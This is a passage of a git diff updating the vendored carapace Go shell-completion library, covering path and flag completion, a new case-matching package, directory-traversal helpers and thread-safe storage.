b/vendor/github.com/rsteube/carapace/internal/shell/zsh/namedDirectory.go @@ -8,7 +8,7 @@ import ( type namedDirectories map[string]string -// NamedDirectories provides rudimentary named directory support as these aren't expanded by zsh in the `${words}` provided to the compdef function. +// NamedDirectories provides rudimentary named directory support as these aren't expanded by zsh in the `${words}` provided to the compdef function var NamedDirectories = make(namedDirectories) func (nd *namedDirectories) match(s string) string { @@ -18,12 +18,12 @@ func (nd *namedDirectories) match(s string) string { return "" } -// Matches checks if given string has a known named directory prefix. +// Matches checks if given string has a known named directory prefix func (nd *namedDirectories) Matches(s string) bool { return nd.match(s) != "" } -// Replace replaces a known named directory prefix with the actual folder. +// Replace replaces a known named directory prefix with the actual folder func (nd *namedDirectories) Replace(s string) string { if match := nd.match(s); match != "" { if !strings.HasSuffix(match, "/") { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go index 45dfb167b0..27611e3b01 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/snippet.go @@ -8,7 +8,7 @@ import ( "github.com/spf13/cobra" ) -// Snippet creates the zsh completion script. +// Snippet creates the zsh completion script func Snippet(cmd *cobra.Command) string { return fmt.Sprintf(`#compdef %v function _%v_completion { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go b/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go index 0933b49800..c3848842ae 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/zsh/zstyle.go @@ -29,6 +29,7 @@ func (z zstyles) valueSGR(val common.RawValue) string { return style.SGR(style.Carapace.Value) } return style.SGR(style.Default) + } func (z zstyles) Format() string { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go b/vendor/github.com/rsteube/carapace/internal/spec/command.go similarity index 86% rename from vendor/github.com/rsteube/carapace/internal/shell/spec/command.go rename to vendor/github.com/rsteube/carapace/internal/spec/command.go index 49eb17db98..f3db47b38d 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go +++ b/vendor/github.com/rsteube/carapace/internal/spec/command.go @@ -5,6 +5,8 @@ type Command struct { Aliases []string `yaml:"aliases,omitempty"` Description string `yaml:"description,omitempty"` Group string `yaml:"group,omitempty"` + Hidden bool `yaml:"hidden,omitempty"` + ExclusiveFlags [][]string `yaml:"exclusiveflags,omitempty"` Flags map[string]string `yaml:"flags,omitempty"` PersistentFlags map[string]string `yaml:"persistentflags,omitempty"` Completion struct { diff --git a/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go b/vendor/github.com/rsteube/carapace/internal/spec/spec.go similarity index 86% rename from vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go rename to vendor/github.com/rsteube/carapace/internal/spec/spec.go index 6f0fa22d7c..25bb037e06 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/spec/spec.go @@ -9,7 +9,7 @@ import ( ) // Snippet generates the spec file. -func Snippet(cmd *cobra.Command) string { +func Spec(cmd *cobra.Command) string { m, _ := yaml.Marshal(command(cmd)) return string(m) } @@ -20,34 +20,32 @@ func command(cmd *cobra.Command) Command { Description: cmd.Short, Aliases: cmd.Aliases, Group: cmd.GroupID, + Hidden: cmd.Hidden, Flags: make(map[string]string), PersistentFlags: make(map[string]string), Commands: make([]Command, 0), } - cmd.LocalFlags().VisitAll(func(flag *pflag.Flag) { - if flag.Hidden { - return - } + // TODO mutually exclusive flags + cmd.LocalFlags().VisitAll(func(flag *pflag.Flag) { if cmd.PersistentFlags().Lookup(flag.Name) != nil { return } f := pflagfork.Flag{Flag: flag} c.Flags[f.Definition()] = f.Usage + }) cmd.PersistentFlags().VisitAll(func(flag *pflag.Flag) { - if flag.Hidden { - return - } f := pflagfork.Flag{Flag: flag} c.PersistentFlags[f.Definition()] = f.Usage + }) for _, subcmd := range cmd.Commands() { - if !subcmd.Hidden { + if subcmd.Name() != "_carapace" && subcmd.Deprecated == "" { c.Commands = append(c.Commands, command(subcmd)) } } diff --git a/vendor/github.com/rsteube/carapace/internalActions.go b/vendor/github.com/rsteube/carapace/internalActions.go index be8048b9dc..e5b753aead 100644 --- a/vendor/github.com/rsteube/carapace/internalActions.go +++ b/vendor/github.com/rsteube/carapace/internalActions.go @@ -6,33 +6,33 @@ import ( "path/filepath" "strings" - "github.com/rsteube/carapace/internal/common" + "github.com/rsteube/carapace/internal/env" "github.com/rsteube/carapace/internal/pflagfork" "github.com/rsteube/carapace/pkg/style" + "github.com/rsteube/carapace/pkg/util" "github.com/spf13/cobra" ) func actionPath(fileSuffixes []string, dirOnly bool) Action { return ActionCallback(func(c Context) Action { + if len(c.Value) == 2 && util.HasVolumePrefix(c.Value) { + // TODO should be fixed in Abs or wherever this is happening + return ActionValues(c.Value + "/") // prevent `C:` -> `C:.` + } + abs, err := c.Abs(c.Value) if err != nil { return ActionMessage(err.Error()) } - displayFolder := filepath.Dir(c.Value) - - // Always try to trim/adapt for absolute Windows paths (starting with C:). - // On all other platforms, adapt as usual - displayFolder, trimmed := windowsDisplayTrimmed(abs, c.Value, displayFolder) - if !trimmed { - if displayFolder == "." { - displayFolder = "" - } else if !strings.HasSuffix(displayFolder, "/") { - displayFolder = displayFolder + "/" - } + displayFolder := filepath.ToSlash(filepath.Dir(c.Value)) + if displayFolder == "." { + displayFolder = "" + } else if !strings.HasSuffix(displayFolder, "/") { + displayFolder = displayFolder + "/" } - actualFolder := filepath.Dir(abs) + actualFolder := filepath.ToSlash(filepath.Dir(abs)) files, err := ioutil.ReadDir(actualFolder) if err != nil { return ActionMessage(err.Error()) @@ -54,18 +54,14 @@ func actionPath(fileSuffixes []string, dirOnly bool) Action { } if resolvedFile.IsDir() { - // Use forward slahes regardless of the OS, since even Powershell understands them. - slashed := filepath.ToSlash(displayFolder + file.Name() + "/") - vals = append(vals, slashed, style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()+"/"), c)) + vals = append(vals, displayFolder+file.Name()+"/", style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()+"/"), c)) } else if !dirOnly { if len(fileSuffixes) == 0 { fileSuffixes = []string{""} } for _, suffix := range fileSuffixes { if strings.HasSuffix(file.Name(), suffix) { - // Use forward slahes regardless of the OS, since even Powershell understands them. - slashed := filepath.ToSlash(displayFolder + file.Name()) - vals = append(vals, slashed, style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()), c)) + vals = append(vals, displayFolder+file.Name(), style.ForPath(filepath.Clean(actualFolder+"/"+file.Name()), c)) break } } @@ -75,7 +71,7 @@ func actionPath(fileSuffixes []string, dirOnly bool) Action { return ActionStyledValues(vals...).Invoke(Context{}).Prefix("./").ToA() } return ActionStyledValues(vals...) - }).Tag("files").NoSpace('/') + }) } func actionFlags(cmd *cobra.Command) Action { @@ -86,11 +82,12 @@ func actionFlags(cmd *cobra.Command) Action { flagSet := pflagfork.FlagSet{FlagSet: cmd.Flags()} isShorthandSeries := flagSet.IsShorthandSeries(c.Value) - needsMultipart := false - + nospace := make([]rune, 0) vals := make([]string, 0) flagSet.VisitAll(func(f *pflagfork.Flag) { switch { + case f.Hidden && !env.Hidden(): + return // skip hidden flags case f.Deprecated != "": return // skip deprecated flags case f.Changed && !f.IsRepeatable(): @@ -107,6 +104,9 @@ func actionFlags(cmd *cobra.Command) Action { } } vals = append(vals, f.Shorthand, f.Usage, f.Style()) + if f.IsOptarg() { + nospace = append(nospace, []rune(f.Shorthand)[0]) + } } } else { switch f.Mode() { @@ -119,42 +119,17 @@ func actionFlags(cmd *cobra.Command) Action { if f.Shorthand != "" && f.ShorthandDeprecated == "" { vals = append(vals, "-"+f.Shorthand, f.Usage, f.Style()) } - - if strings.Contains(f.Name, ".") { - needsMultipart = true - } } }) if isShorthandSeries { - return ActionStyledValuesDescribed(vals...).Prefix(c.Value).NoSpace('*') - } - - action := ActionStyledValuesDescribed(vals...) - - // multiparts completion for flags grouped with `.` - if needsMultipart { - action = action.MultiParts(".") - } - - return action - }).Tag("flags") -} - -func actionSubcommands(cmd *cobra.Command) Action { - return ActionCallback(func(c Context) Action { - batch := Batch() - for _, subcommand := range cmd.Commands() { - if !subcommand.Hidden && subcommand.Deprecated == "" { - group := common.Group{Cmd: subcommand} - batch = append(batch, ActionStyledValuesDescribed(subcommand.Name(), subcommand.Short, group.Style()).Tag(group.Tag())) - for _, alias := range subcommand.Aliases { - batch = append(batch, ActionStyledValuesDescribed(alias, subcommand.Short, group.Style()).Tag(group.Tag())) - } + if len(nospace) > 0 { + return ActionStyledValuesDescribed(vals...).Prefix(c.Value).NoSpace(nospace...) } + return ActionStyledValuesDescribed(vals...).Prefix(c.Value) } - return batch.ToA() - }) + return ActionStyledValuesDescribed(vals...).MultiParts(".") // multiparts completion for flags grouped with `.` + }).Tag("flags") } func initHelpCompletion(cmd *cobra.Command) { @@ -170,12 +145,6 @@ func initHelpCompletion(cmd *cobra.Command) { } Gen(helpCmd).PositionalAnyCompletion( - ActionCallback(func(c Context) Action { - lastCmd, _, err := cmd.Find(c.Args) - if err != nil { - return ActionMessage(err.Error()) - } - return actionSubcommands(lastCmd) - }), + ActionCommands(cmd), ) } diff --git a/vendor/github.com/rsteube/carapace/invokedAction.go b/vendor/github.com/rsteube/carapace/invokedAction.go index 0b1d603d69..eac1a32d27 100644 --- a/vendor/github.com/rsteube/carapace/invokedAction.go +++ b/vendor/github.com/rsteube/carapace/invokedAction.go @@ -6,6 +6,7 @@ import ( "github.com/rsteube/carapace/internal/common" "github.com/rsteube/carapace/internal/export" _shell "github.com/rsteube/carapace/internal/shell" + "github.com/rsteube/carapace/pkg/match" ) // InvokedAction is a logical alias for an Action whose (nested) callback was invoked. @@ -17,11 +18,11 @@ func (a InvokedAction) export() export.Export { return export.Export{Meta: a.meta, Values: a.rawValues} } -// Filter filters given values (this should be done before any call to Prefix/Suffix as those alter the values being filtered) +// Filter filters given values. // // a := carapace.ActionValues("A", "B", "C").Invoke(c) // b := a.Filter([]string{"B"}) // ["A", "C"] -func (a InvokedAction) Filter(values []string) InvokedAction { +func (a InvokedAction) Filter(values ...string) InvokedAction { a.rawValues = a.rawValues.Filter(values...) return a } @@ -50,6 +51,15 @@ func (a InvokedAction) Prefix(prefix string) InvokedAction { return a } +// Retain retains given values. +// +// a := carapace.ActionValues("A", "B", "C").Invoke(c) +// b := a.Retain([]string{"A", "C"}) // ["A", "C"] +func (a InvokedAction) Retain(values ...string) InvokedAction { + a.rawValues = a.rawValues.Retain(values...) + return a +} + // Suffix adds a suffx to values (only the ones inserted, not the display values) // // carapace.ActionValues("apple", "melon", "orange").Invoke(c).Suffix("juice") @@ -91,7 +101,7 @@ func (a InvokedAction) ToMultiPartsA(dividers ...string) Action { uniqueVals := make(map[string]common.RawValue) for _, val := range a.rawValues { - if strings.HasPrefix(val.Value, c.Value) { + if match.HasPrefix(val.Value, c.Value) { if splitted := tokenize(val.Value, dividers...); len(splitted) >= len(splittedCV) { v := strings.Join(splitted[:len(splittedCV)], "") d := splitted[len(splittedCV)-1] diff --git a/vendor/github.com/rsteube/carapace/pkg/match/match.go b/vendor/github.com/rsteube/carapace/pkg/match/match.go new file mode 100644 index 0000000000..1b458f81c0 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/match/match.go @@ -0,0 +1,57 @@ +package match + +import ( + "os" + "strconv" + "strings" +) + +type Match int + +const ( + CASE_SENSITIVE Match = iota + CASE_INSENSITIVE +) + +func (m Match) Equal(s, t string) bool { + if m == CASE_INSENSITIVE { + strings.EqualFold(s, t) + } + return s == t + +} + +func (m Match) HasPrefix(s, prefix string) bool { + if m == CASE_INSENSITIVE { + return strings.HasPrefix(strings.ToLower(s), strings.ToLower(prefix)) + } + return strings.HasPrefix(s, prefix) +} + +func (m Match) TrimPrefix(s, prefix string) string { + if m.HasPrefix(s, prefix) { + return s[len(prefix):] + } + return s +} + +var match = CASE_SENSITIVE + +func init() { + switch os.Getenv("CARAPACE_MATCH") { + case "CASE_INSENSITIVE", strconv.Itoa(int(CASE_INSENSITIVE)): + match = CASE_INSENSITIVE + } +} + +func Equal(s, t string) bool { + return match.Equal(s, t) +} + +func HasPrefix(s, prefix string) bool { + return match.HasPrefix(s, prefix) +} + +func TrimPrefix(s, prefix string) string { + return match.TrimPrefix(s, prefix) +} diff --git a/vendor/github.com/rsteube/carapace/pkg/style/config.go b/vendor/github.com/rsteube/carapace/pkg/style/config.go index 954c19da04..2babb77de8 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/config.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/config.go @@ -100,7 +100,7 @@ var Carapace = carapace{ FlagOptArg: Yellow, } -// Highlight returns the style for given level (0..n). +// Highlight returns the style for given level (0..n) func (c carapace) Highlight(level int) string { switch level { case 0: diff --git a/vendor/github.com/rsteube/carapace/pkg/style/keyword.go b/vendor/github.com/rsteube/carapace/pkg/style/keyword.go index d9e9220445..ad9a8300a5 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/keyword.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/keyword.go @@ -3,6 +3,9 @@ package style import "strings" var keywords = map[string]*string{ + "1": &Carapace.KeywordPositive, + "0": &Carapace.KeywordNegative, + "y": &Carapace.KeywordPositive, "n": &Carapace.KeywordNegative, @@ -22,8 +25,19 @@ var keywords = map[string]*string{ "full": &Carapace.KeywordPositive, "empty": &Carapace.KeywordNegative, - "strict": &Carapace.KeywordPositive, - "loose": &Carapace.KeywordNegative, + "loose": &Carapace.KeywordPositive, + "strict": &Carapace.KeywordNegative, + + "public": &Carapace.KeywordPositive, + "private": &Carapace.KeywordNegative, + + "internal": &Carapace.KeywordPositive, + "external": &Carapace.KeywordNegative, + + "asc": &Carapace.KeywordPositive, + "ascending": &Carapace.KeywordPositive, + "desc": &Carapace.KeywordNegative, + "descending": &Carapace.KeywordNegative, "open": &Carapace.KeywordPositive, "opened": &Carapace.KeywordPositive, diff --git a/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go b/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go index 8d7745eaac..17aa0962a3 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go @@ -18,5 +18,6 @@ func ForLogLevel(s string, _ Context) string { "crit": Carapace.LogLevelCritical, "critical": Carapace.LogLevelCritical, "fatal": Carapace.LogLevelFatal, + "panic": Carapace.LogLevelFatal, }[strings.ToLower(s)] } diff --git a/vendor/github.com/rsteube/carapace/pkg/style/style.go b/vendor/github.com/rsteube/carapace/pkg/style/style.go index 5210ce6551..c552aa95a7 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/style.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/style.go @@ -55,7 +55,7 @@ var ( ) // Of combines different styles. -func Of(s ...string) string { return strings.Join(s, " ") } +func Of(s ...string) string { return strings.TrimSpace(strings.Join(s, " ")) } // XTerm256Color returns a color from the xterm 256-color palette. func XTerm256Color(i uint8) string { return ui.XTerm256Color(i).String() } @@ -64,9 +64,9 @@ func XTerm256Color(i uint8) string { return ui.XTerm256Color(i).String() } func TrueColor(r, g, b uint8) string { return ui.TrueColor(r, g, b).String() } // SGR returns the SGR sequence for given style. -func SGR(s string) string { return parseStyle(s).SGR() } +func SGR(s string) string { return Parse(s).SGR() } -func parseStyle(s string) ui.Style { +func Parse(s string) ui.Style { stylings := make([]ui.Styling, 0) for _, word := range strings.Split(s, " ") { if styling := ui.ParseStyling(word); styling != nil { diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/git.go b/vendor/github.com/rsteube/carapace/pkg/traverse/git.go new file mode 100644 index 0000000000..5a2d694011 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/traverse/git.go @@ -0,0 +1,25 @@ +package traverse + +import ( + "path/filepath" +) + +// GitDir returns the location of the .git folder. +func GitDir(tc Context) (string, error) { + if dir, ok := tc.LookupEnv("GIT_DIR"); ok { + return filepath.ToSlash(dir), nil + } + dir, err := GitWorkTree(tc) + if err == nil { + dir += "/.git" + } + return dir, err +} + +// GitWorkTree returns the location of the root of the working directory for a non-bare repository. +func GitWorkTree(tc Context) (string, error) { + if dir, ok := tc.LookupEnv("GIT_WORK_TREE"); ok { + return filepath.ToSlash(dir), nil + } + return Parent(".git")(tc) +} diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/os.go b/vendor/github.com/rsteube/carapace/pkg/traverse/os.go new file mode 100644 index 0000000000..f0e7d3cf9d --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/traverse/os.go @@ -0,0 +1,23 @@ +package traverse + +import "os" + +// UserHomeDir returns the current user's home directory. +func UserHomeDir(tc Context) (string, error) { + return os.UserHomeDir() +} + +// UserCacheDir returns the default root directory to use for user-specific cached data. +func UserCacheDir(tc Context) (string, error) { + return os.UserCacheDir() +} + +// UserConfigDir returns the default root directory to use for user-specific configuration data. +func UserConfigDir(tc Context) (string, error) { + return os.UserConfigDir() +} + +// TempDir returns the default directory to use for temporary files. +func TempDir(tc Context) (string, error) { + return os.TempDir(), nil +} diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go b/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go new file mode 100644 index 0000000000..cff9fe5c96 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go @@ -0,0 +1,64 @@ +package traverse + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/spf13/pflag" +) + +type Context interface { + Abs(s string) (string, error) + Getenv(key string) string + LookupEnv(key string) (string, bool) +} + +// Parent returns the first parent directory containing any of the given names/directories. +func Parent(names ...string) func(tc Context) (string, error) { + return func(tc Context) (string, error) { + wd, err := tc.Abs("") + if err != nil { + return "", err + } + + for _, name := range names { + if dir, err := traverse(wd, name); err == nil { + return filepath.Dir(dir), nil + } + } + formattedNames := fmt.Sprintf("%#v", names) + formattedNames = strings.TrimPrefix(formattedNames, "[]string{") + formattedNames = strings.TrimSuffix(formattedNames, "}") + return "", errors.New("could not find parent directory containing any of: " + formattedNames) + } +} + +// TODO also stop at `~` +func traverse(path string, name string) (target string, err error) { + var absPath string + if absPath, err = filepath.Abs(path); err == nil { + target = filepath.ToSlash(absPath + "/" + strings.TrimSuffix(name, "/")) + if _, err = os.Stat(target); err != nil { + parent := filepath.Dir(absPath) + if parent != path { + return traverse(parent, name) + } else { + err = errors.New("could not find: " + name) + } + } + } + return +} + +// Flag returns the value of given flag. +func Flag(f *pflag.Flag) func(tc Context) (string, error) { + return func(tc Context) (string, error) { + if f == nil { + return "", errors.New("invalid argument [traverse.Flag]") + } + return f.Value.String(), nil + } +} diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go b/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go new file mode 100644 index 0000000000..cbf8a0572d --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go @@ -0,0 +1,23 @@ +package traverse + +import ( + "path/filepath" +) + +// XdgCacheHome returns the cache directory (fallback to UserCacheDir). +func XdgCacheHome(tc Context) (dir string, err error) { + if dir = tc.Getenv("XDG_CACHE_HOME"); dir == "" { + dir, err = UserCacheDir(tc) + } + dir = filepath.ToSlash(dir) + return +} + +// XdgConfigHome returns the home directory (fallback to UserConfigDir). +func XdgConfigHome(tc Context) (dir string, err error) { + if dir = tc.Getenv("XDG_CONFIG_HOME"); dir == "" { + dir, err = UserConfigDir(tc) + } + dir = filepath.ToSlash(dir) + return +} diff --git a/vendor/github.com/rsteube/carapace/pkg/util/util.go b/vendor/github.com/rsteube/carapace/pkg/util/util.go new file mode 100644 index 0000000000..34910afc43 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/util/util.go @@ -0,0 +1,51 @@ +package util + +// TODO rename package update/optimize functions + +import ( + "errors" + "os" + "path/filepath" + "runtime" + "strings" + "unicode" +) + +// FindReverse traverses the filetree upwards to find given file/directory. +func FindReverse(path string, name string) (target string, err error) { + var absPath string + if absPath, err = filepath.Abs(path); err == nil { + target = absPath + "/" + name + if _, err = os.Stat(target); err != nil { + parent := filepath.Dir(absPath) + if parent != path { + return FindReverse(parent, name) + } else { + err = errors.New("could not find: " + name) + } + } + } + return +} + +// HasPathPrefix checks if given string has a path prefix. +func HasPathPrefix(s string) bool { + return strings.HasPrefix(s, ".") || + strings.HasPrefix(s, "/") || + strings.HasPrefix(s, "~") || + HasVolumePrefix(s) +} + +// HasVolumePrefix checks if given path has a volume prefix (only for GOOS=windows). +func HasVolumePrefix(s string) bool { + switch { + case runtime.GOOS != "windows": + return false + case len(s) < 2: + return false + case unicode.IsLetter(rune(s[0])) && s[1] == ':': + return true + default: + return false + } +} diff --git a/vendor/github.com/rsteube/carapace/pkg/x/x.go b/vendor/github.com/rsteube/carapace/pkg/x/x.go new file mode 100644 index 0000000000..06d73009a0 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/x/x.go @@ -0,0 +1,10 @@ +// Package x contains experimental functions +package x + +import ( + "github.com/rsteube/carapace/internal/export" + "github.com/spf13/cobra" +) + +var ClearStorage func() +var Complete func(cmd *cobra.Command, args ...string) (*export.Export, error) diff --git a/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go b/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go index 7347a29cf1..7465ec3b2e 100644 --- a/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go +++ b/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go @@ -1,12 +1,16 @@ package xdg -import "os" +import ( + "os" + "path/filepath" +) // UserCacheDir returns the cache base directory. func UserCacheDir() (dir string, err error) { if dir = os.Getenv("XDG_CACHE_HOME"); dir == "" { dir, err = os.UserCacheDir() } + dir = filepath.ToSlash(dir) return } @@ -15,5 +19,6 @@ func UserConfigDir() (dir string, err error) { if dir = os.Getenv("XDG_CONFIG_HOME"); dir == "" { dir, err = os.UserConfigDir() } + dir = filepath.ToSlash(dir) return } diff --git a/vendor/github.com/rsteube/carapace/storage.go b/vendor/github.com/rsteube/carapace/storage.go index 9673ffccd1..b937885e28 100644 --- a/vendor/github.com/rsteube/carapace/storage.go +++ b/vendor/github.com/rsteube/carapace/storage.go @@ -3,6 +3,7 @@ package carapace import ( "fmt" "strings" + "sync" "github.com/rsteube/carapace/internal/common" "github.com/rsteube/carapace/internal/uid" @@ -14,33 +15,72 @@ import ( type entry struct { flag ActionMap + flagMutex sync.RWMutex positional []Action - positionalAny Action + positionalAny *Action dash []Action - dashAny Action + dashAny *Action preinvoke func(cmd *cobra.Command, flag *pflag.Flag, action Action) Action prerun func(cmd *cobra.Command, args []string) bridged bool + initialized bool } type _storage map[*cobra.Command]*entry -func (s _storage) get(cmd *cobra.Command) (e *entry) { - var ok bool - if e, ok = s[cmd]; !ok { - e = &entry{} - s[cmd] = e +var storageMutex sync.RWMutex + +func (s _storage) get(cmd *cobra.Command) *entry { + storageMutex.RLock() + e, ok := s[cmd] + storageMutex.RUnlock() + + if !ok { + storageMutex.Lock() + defer storageMutex.Unlock() + if e, ok = s[cmd]; !ok { + e = &entry{} + s[cmd] = e + } } - return + return e } +var bridgeMutex sync.Mutex + func (s _storage) bridge(cmd *cobra.Command) { if entry := storage.get(cmd); !entry.bridged { - cobra.OnInitialize(func() { - registerValidArgsFunction(cmd) - registerFlagCompletion(cmd) - }) - entry.bridged = true + bridgeMutex.Lock() + defer bridgeMutex.Unlock() + + if entry := storage.get(cmd); !entry.bridged { + cobra.OnInitialize(func() { + if !entry.initialized { + bridgeMutex.Lock() + defer bridgeMutex.Unlock() + + if !entry.initialized { + registerValidArgsFunction(cmd) + registerFlagCompletion(cmd) + entry.initialized = true + } + + } + }) + entry.bridged = true + } + } +} + +func (s _storage) hasFlag(cmd *cobra.Command, name string) bool { + if flag := cmd.LocalFlags().Lookup(name); flag == nil && cmd.HasParent() { + return s.hasFlag(cmd.Parent(), name) + } else { + entry := s.get(cmd) + entry.flagMutex.RLock() + defer entry.flagMutex.RUnlock() + _, ok := entry.flag[name] + return ok } } @@ -48,7 +88,18 @@ func (s _storage) getFlag(cmd *cobra.Command, name string) Action { if flag := cmd.LocalFlags().Lookup(name); flag == nil && cmd.HasParent() { return s.getFlag(cmd.Parent(), name) } else { - a := s.preinvoke(cmd, flag, s.get(cmd).flag[name]) + entry := s.get(cmd) + entry.flagMutex.RLock() + defer entry.flagMutex.RUnlock() + + flagAction, ok := entry.flag[name] + if !ok { + if f, ok := cmd.GetFlagCompletionFunc(name); ok { + flagAction = ActionCobra(f) + } + } + + a := s.preinvoke(cmd, flag, flagAction) return ActionCallback(func(c Context) Action { // TODO verify order of execution is correct invoked := a.Invoke(c) @@ -81,6 +132,24 @@ func (s _storage) preinvoke(cmd *cobra.Command, flag *pflag.Flag, action Action) return a } +func (s _storage) hasPositional(cmd *cobra.Command, index int) bool { + entry := s.get(cmd) + isDash := common.IsDash(cmd) + + // TODO fallback to cobra defined completion if exists + + switch { + case !isDash && len(entry.positional) > index: + return true + case !isDash: + return entry.positionalAny != nil + case len(entry.dash) > index: + return true + default: + return entry.dashAny != nil + } +} + func (s _storage) getPositional(cmd *cobra.Command, index int) Action { entry := s.get(cmd) isDash := common.IsDash(cmd) @@ -88,14 +157,23 @@ func (s _storage) getPositional(cmd *cobra.Command, index int) Action { var a Action switch { case !isDash && len(entry.positional) > index: - a = s.preinvoke(cmd, nil, entry.positional[index]) + a = entry.positional[index] case !isDash: - a = s.preinvoke(cmd, nil, entry.positionalAny) + if entry.positionalAny != nil { + a = *entry.positionalAny + } else { + a = ActionCobra(cmd.ValidArgsFunction) + } case len(entry.dash) > index: - a = s.preinvoke(cmd, nil, entry.dash[index]) + a = entry.dash[index] default: - a = s.preinvoke(cmd, nil, entry.dashAny) + if entry.dashAny != nil { + a = *entry.dashAny + } else { + a = ActionCobra(cmd.ValidArgsFunction) + } } + a = s.preinvoke(cmd, nil, a) return ActionCallback(func(c Context) Action { invoked := a.Invoke(c) @@ -109,11 +187,16 @@ func (s _storage) getPositional(cmd *cobra.Command, index int) Action { func (s _storage) check() []string { errors := make([]string, 0) for cmd, entry := range s { - for name := range entry.flag { - if flag := cmd.LocalFlags().Lookup(name); flag == nil { - errors = append(errors, fmt.Sprintf("unknown flag for %s: %s\n", uid.Command(cmd), name)) + func() { + entry.flagMutex.RLock() + defer entry.flagMutex.RUnlock() + + for name := range entry.flag { + if flag := cmd.LocalFlags().Lookup(name); flag == nil { + errors = append(errors, fmt.Sprintf("unknown flag for %s: %s\n", uid.Command(cmd), name)) + } } - } + }() } return errors } diff --git a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go index 21ea6975f1..87538e9a65 100644 --- a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go +++ b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go @@ -54,13 +54,11 @@ func StylingFromSGR(s string) Styling { consume = 3 case code == 38 && len(codes) >= 5 && codes[1] == 2: moreStyling = Fg(trueColor{ - uint8(codes[2]), uint8(codes[3]), uint8(codes[4]), - }) + uint8(codes[2]), uint8(codes[3]), uint8(codes[4])}) consume = 5 case code == 48 && len(codes) >= 5 && codes[1] == 2: moreStyling = Bg(trueColor{ - uint8(codes[2]), uint8(codes[3]), uint8(codes[4]), - }) + uint8(codes[2]), uint8(codes[3]), uint8(codes[4])}) consume = 5 default: // Do nothing; skip this code diff --git a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go index 485657d5cd..21db8778a4 100644 --- a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go +++ b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go @@ -93,14 +93,12 @@ func Fg(c Color) Styling { return setForeground{c} } // Bg returns a Styling that sets the background color. func Bg(c Color) Styling { return setBackground{c} } -type ( - reset struct{} - setForeground struct{ c Color } - setBackground struct{ c Color } - boolOn struct{ f boolField } - boolOff struct{ f boolField } - boolToggle struct{ f boolField } -) +type reset struct{} +type setForeground struct{ c Color } +type setBackground struct{ c Color } +type boolOn struct{ f boolField } +type boolOff struct{ f boolField } +type boolToggle struct{ f boolField } func (reset) transform(s *Style) { *s = Style{} } func (t setForeground) transform(s *Style) { s.Foreground = t.c } @@ -111,14 +109,12 @@ func (t boolToggle) transform(s *Style) { p := t.f.get(s); *p = !*p } type boolField interface{ get(*Style) *bool } -type ( - boldField struct{} - dimField struct{} - italicField struct{} - underlinedField struct{} - blinkField struct{} - inverseField struct{} -) +type boldField struct{} +type dimField struct{} +type italicField struct{} +type underlinedField struct{} +type blinkField struct{} +type inverseField struct{} func (boldField) get(s *Style) *bool { return &s.Bold } func (dimField) get(s *Style) *bool { return &s.Dim } diff --git a/vendor/github.com/rsteube/carapace/traverse.go b/vendor/github.com/rsteube/carapace/traverse.go index c7a8653132..eb8a747b9b 100644 --- a/vendor/github.com/rsteube/carapace/traverse.go +++ b/vendor/github.com/rsteube/carapace/traverse.go @@ -10,46 +10,23 @@ import ( "github.com/spf13/cobra" ) -type _inFlag struct { // TODO rename or integrate into pflagfork.Flag? - *pflagfork.Flag - // currently consumed args since encountered flag 